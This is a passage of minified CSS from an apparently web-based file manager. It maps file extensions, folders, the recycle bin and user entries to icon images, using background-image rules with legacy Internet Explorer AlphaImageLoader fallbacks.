\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pspimage.png?ver=3.30',sizingMethod='scale');}.x-pst{background-image:url("../../../images/file_icon/icon_file/pst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pst.png?ver=3.30',sizingMethod='scale');}.x-pub{background-image:url("../../../images/file_icon/icon_file/pub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pub.png?ver=3.30',sizingMethod='scale');}.x-py{background-image:url("../../../images/file_icon/icon_file/py.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/py.png?ver=3.30',sizingMethod='scale');}.x-rar{background-image:url("../../../images/file_icon/icon_file/rar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rar.png?ver=3.30',sizingMethod='scale');}.x-rb{background-image:url("../../../images/file_icon/icon_file/rb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rb.png?ver=3.30',sizingMethod='scale');}.x-reg{background-image:url("../../../images/file_icon/icon_file/reg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/reg.png?ver=3.30',sizingMethod='scale');}.x-resx{background-image:url("../../../images/file_icon/icon_file/resx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/resx.png?ver=3.30',sizingMethod='scale');}.x-rtf{background-image:url("../../../images/file_icon/icon_file/rtf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/rtf.png?ver=3.30',sizingMethod='scale');}.x-sitx{background-image:url("../../../images/file_icon/icon_file/sitx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sitx.png?ver=3.30',sizingMethod='scale');}.x-sln{background-image:url("../../../images/file_icon/icon_file/sln.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sln.png?ver=3.30',sizingMethod='scale');}.x-sql{background-image:url("../../../images/file_icon/icon_file/sql.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/sql.png?ver=3.30',sizingMethod='scale');}.x-suo{background-image:url("../../../images/file_icon/icon_file/suo.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/suo.png?ver=3.30',sizingMethod='scale');}.x-svg{background-image:url("../../../images/file_icon/icon_file/svg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/svg.png?ver=3.30',sizingMethod='scale');}.x-swf{background-image:url("../../../images/file_icon/icon_file/swf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/swf.png?ver=3.30',sizingMethod='scale');}.x-tar{background-image:url("../../../images/file_icon/icon_file/tar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tar.png?ver=3.30',sizingMethod='scale');}.x-tga{background-image:url("../../../images/file_icon/icon_file/tga.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tga.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tga.png?ver=3.30',sizingMethod='scale');}.x-tgz{background-image:url("../../../images/file_icon/icon_file/tgz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tgz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/tgz.png?ver=3.30',sizingMethod='scale');}.x-txt{background-image:url("../../../images/file_icon/icon_file/txt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/txt.png?ver=3.30',sizingMethod='scale');}.x-vb{background-image:url("../../../images/file_icon/icon_file/vb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vb.png?ver=3.30',sizingMethod='scale');}.x-vbproj{background-image:url("../../../images/file_icon/icon_file/vbproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbproj.png?ver=3.30',sizingMethod='scale');}.x-vbs{background-image:url("../../../images/file_icon/icon_file/vbs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vbs.png?ver=3.30',sizingMethod='scale');}.x-vcf{background-image:url("../../../images/file_icon/icon_file/vcf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcf.png?ver=3.30',sizingMethod='scale');}.x-vcproj{background-image:url("../../../images/file_icon/icon_file/vcproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcproj.png?ver=3.30',sizingMethod='scale');}.x-vcxproj{background-image:url("../../../images/file_icon/icon_file/vcxproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vcxproj.png?ver=3.30',sizingMethod='scale');}.x-vdw{background-image:url("../../../images/file_icon/icon_file/vdw.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdw.png?ver=3.30',sizingMethod='scale');}.x-vdx{background-image:url("../../../images/file_icon/icon_file/vdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vdx.png?ver=3.30',sizingMethod='scale');}.x-vsd{background-image:url("../../../images/file_icon/icon_file/vsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsd.png?ver=3.30',sizingMethod='scale');}.x-vsdx{background-image:url("../../../images/file_icon/icon_file/vsdx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsdx.png?ver=3.30',sizingMethod='scale');}.x-vss{background-image:url("../../../images/file_icon/icon_file/vss.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vss.png?ver=3.30',sizingMethod='scale');}.x-vst{background-image:url("../../../images/file_icon/icon_file/vst.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vst.png?ver=3.30',sizingMethod='scale');}.x-vsx{background-image:url("../../../images/file_icon/icon_file/vsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vsx.png?ver=3.30',sizingMethod='scale');}.x-vtx{background-image:url("../../../images/file_icon/icon_file/vtx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/vtx.png?ver=3.30',sizingMethod='scale');}.x-xaml{background-image:url("../../../images/file_icon/icon_file/xaml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xaml.png?ver=3.30',sizingMethod='scale');}.x-xap{background-image:url("../../../images/file_icon/icon_file/xap.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xap.png?ver=3.30',sizingMethod='scale');}.x-xls{background-image:url("../../../images/file_icon/icon_file/xls.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xls.png?ver=3.30',sizingMethod='scale');}.x-xlsb{background-image:url("../../../images/file_icon/icon_file/xlsb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsb.png?ver=3.30',sizingMethod='scale');}.x-xlsm{background-image:url("../../../images/file_icon/icon_file/xlsm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsm.png?ver=3.30',sizingMethod='scale');}.x-xlsx{background-image:url("../../../images/file_icon/icon_file/xlsx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlsx.png?ver=3.30',sizingMethod='scale');}.x-xlt{background-image:url("../../../images/file_icon/icon_file/xlt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xlt.png?ver=3.30',sizingMethod='scale');}.x-xltx{background-image:url("../../../images/file_icon/icon_file/xltx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xltx.png?ver=3.30',sizingMethod='scale');}.x-xml{background-image:url("../../../images/file_icon/icon_file/xml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xml.png?ver=3.30',sizingMethod='scale');}.x-xps{background-image:url("../../../images/file_icon/icon_file/xps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xps.png?ver=3.30',sizingMethod='scale');}.x-xsd{background-image:url("../../../images/file_icon/icon_file/xsd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsd.png?ver=3.30',sizingMethod='scale');}.x-xsl{background-image:url("../../../images/file_icon/icon_file/xsl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/xsl.png?ver=3.30',sizingMethod='scale');}.x-y{background-image:url("../../../images/file_icon/icon_file/y.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/y.png?ver=3.30',sizingMethod='scale');}.x-zip{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-avi,.x-rm,.x-rmvb,.x-mpg,.x-mkv,.x-wmv,.x-mov,.x-mp4,.x-evo,.x-divx,.x-3gp,.x-3g2,.x-asf,.x-ogv,.x-webmv,.x-cue,.x-hd,.x-hdmov,.x-mov,.x-mp4v,.x-mpeg,.x-ogm,.x-qt,.x-spx,.x-vob,.x-wmv,.x-xvid,.x-webm,.x-m4v,.x-mts,.x-mpe,.x-m2ts,.x-mpv,.x-cue{background-image:url("../../../images/file_icon/icon_file/movie/movie.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/movie.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/movie.png?ver=3.30',sizingMethod='scale');}.x-flv,.x-f4v{background-image:url("../../../images/file_icon/icon_file/movie/flv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/flv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/flv.png?ver=3.30',sizingMethod='scale');}.x-rmvb{background-image:url("../../../images/file_icon/icon_file/movie/rmvb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/rmvb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/rmvb.png?ver=3.30',sizingMethod='scale');}.x-mkv{background-image:url("../../../images/file_icon/icon_file/movie/mkv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mkv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mkv.png?ver=3.30',sizingMethod='scale');}.x-mp4,.x-m4v{background-image:url("../../../images/file_icon/icon_file/movie/mp4.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mp4.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mp4.png?ver=3.30',sizingMethod='scale');}.x-mov{background-image:url("../../../images/file_icon/icon_file/movie/mov.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mov.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/mov.png?ver=3.30',sizingMethod='scale');}.x-avi{background-image:url("../../../images/file_icon/icon_file/movie/avi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/avi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/movie/avi.png?ver=3.30',sizingMethod='scale');}.x-3dm,.x-3ds,.x-asm,.x-cam360,.x-catpart,.x-catproduct,.x-cgr,.x-collaboration,.x-dae,.x-dgn,.x-dlv3,.x-dwf,.x-dwfx,.x-dwg,.x-dwt,.x-dxf,.x-exp,.x-f3d,.x-fbx,.x-g,.x-gbxml,.x-iam,.x-idw,.x-ifc,.x-ige,.x-iges,.x-igs,.x-ipt,.x-jt,.x-model,.x-neu,.x-nwc,.x-nwd,.x-obj,.x-prt,.x-rvt,.x-sab,.x-sat,.x-session,.x-skp,.x-sldasm,.x-sldprt,.x-smb,.x-smt,.x-ste,.x-step,.x-stl,.x-stla,.x-stlb,.x-stp,.x-wire,.x-x_b,.x-x_t,.x-xas,.x-xpr{background-image:url("../../../images/file_icon/icon_file/autodesk/autodesk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/autodesk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/autodesk.png?ver=3.30',sizingMethod='scale');}.x-3ds{background-image:url("../../../images/file_icon/icon_file/autodesk/3ds.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3ds.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3ds.png?ver=3.30',sizingMethod='scale');}.x-3dm{background-image:url("../../../images/file_icon/icon_file/autodesk/3dm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3dm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/3dm.png?ver=3.30',sizingMethod='scale');}.x-dae{background-image:url("../../../images/file_icon/icon_file/autodesk/dae.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dae.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dae.png?ver=3.30',sizingMethod='scale');}.x-stl,.x-stla,.x-stlb{background-image:url("../../../images/file_icon/icon_file/autodesk/stl.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/stl.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/stl.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/autodesk/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwg.png?ver=3.30',sizingMethod='scale');}.x-dwf{background-image:url("../../../images/file_icon/icon_file/autodesk/dwf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');}.x-dwfx{background-image:url("../../../images/file_icon/icon_file/autodesk/dwf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dwf.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/autodesk/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/dxf.png?ver=3.30',sizingMethod='scale');}.x-ifc{background-image:url("../../../images/file_icon/icon_file/autodesk/ifc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/ifc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/ifc.png?ver=3.30',sizingMethod='scale');}.x-iam{background-image:url("../../../images/file_icon/icon_file/autodesk/iam.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/iam.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/iam.png?ver=3.30',sizingMethod='scale');}.x-fbx{background-image:url("../../../images/file_icon/icon_file/autodesk/fbx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/fbx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/fbx.png?ver=3.30',sizingMethod='scale');}.x-rvt{background-image:url("../../../images/file_icon/icon_file/autodesk/rvt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/rvt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/rvt.png?ver=3.30',sizingMethod='scale');}.x-skp{background-image:url("../../../images/file_icon/icon_file/autodesk/skp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/skp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/skp.png?ver=3.30',sizingMethod='scale');}.x-vnd,.x-dgn{background-image:url("../../../images/file_icon/icon_file/autodesk/vnd-dgn.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/vnd-dgn.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/autodesk/vnd-dgn.png?ver=3.30',sizingMethod='scale');}.x-folder{background-image:url("../../../images/file_icon/icon_others/folder.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder.png?ver=3.30',sizingMethod='scale');}.x-folder-share{background-image:url("../../../images/file_icon/icon_others/folder_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/folder_public.png?ver=3.30',sizingMethod='scale');}.x-recycle{background-image:url("../../../images/file_icon/icon_others/recycle.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle.png?ver=3.30',sizingMethod='scale');}.x-recycle-full{background-image:url("../../../images/file_icon/icon_others/recycle_full.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/recycle_full.png?ver=3.30',sizingMethod='scale');}.x-path-self-share{background-image:url("../../../images/file_icon/icon_others/path_self_public.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/path_self_public.png?ver=3.30',sizingMethod='scale');}.x-app-link{background-image:url("../../../images/file_icon/icon_others/app_link.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/app_link.png?ver=3.30',sizingMethod='scale');}.x-user{background-image:url("../../../images/file_icon/icon_others/user.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/user.png?ver=3.30',sizingMethod='scale');}.x-user-self{background-image:url("../../../images/file_icon/icon_others/userSelf.png");background-image:none 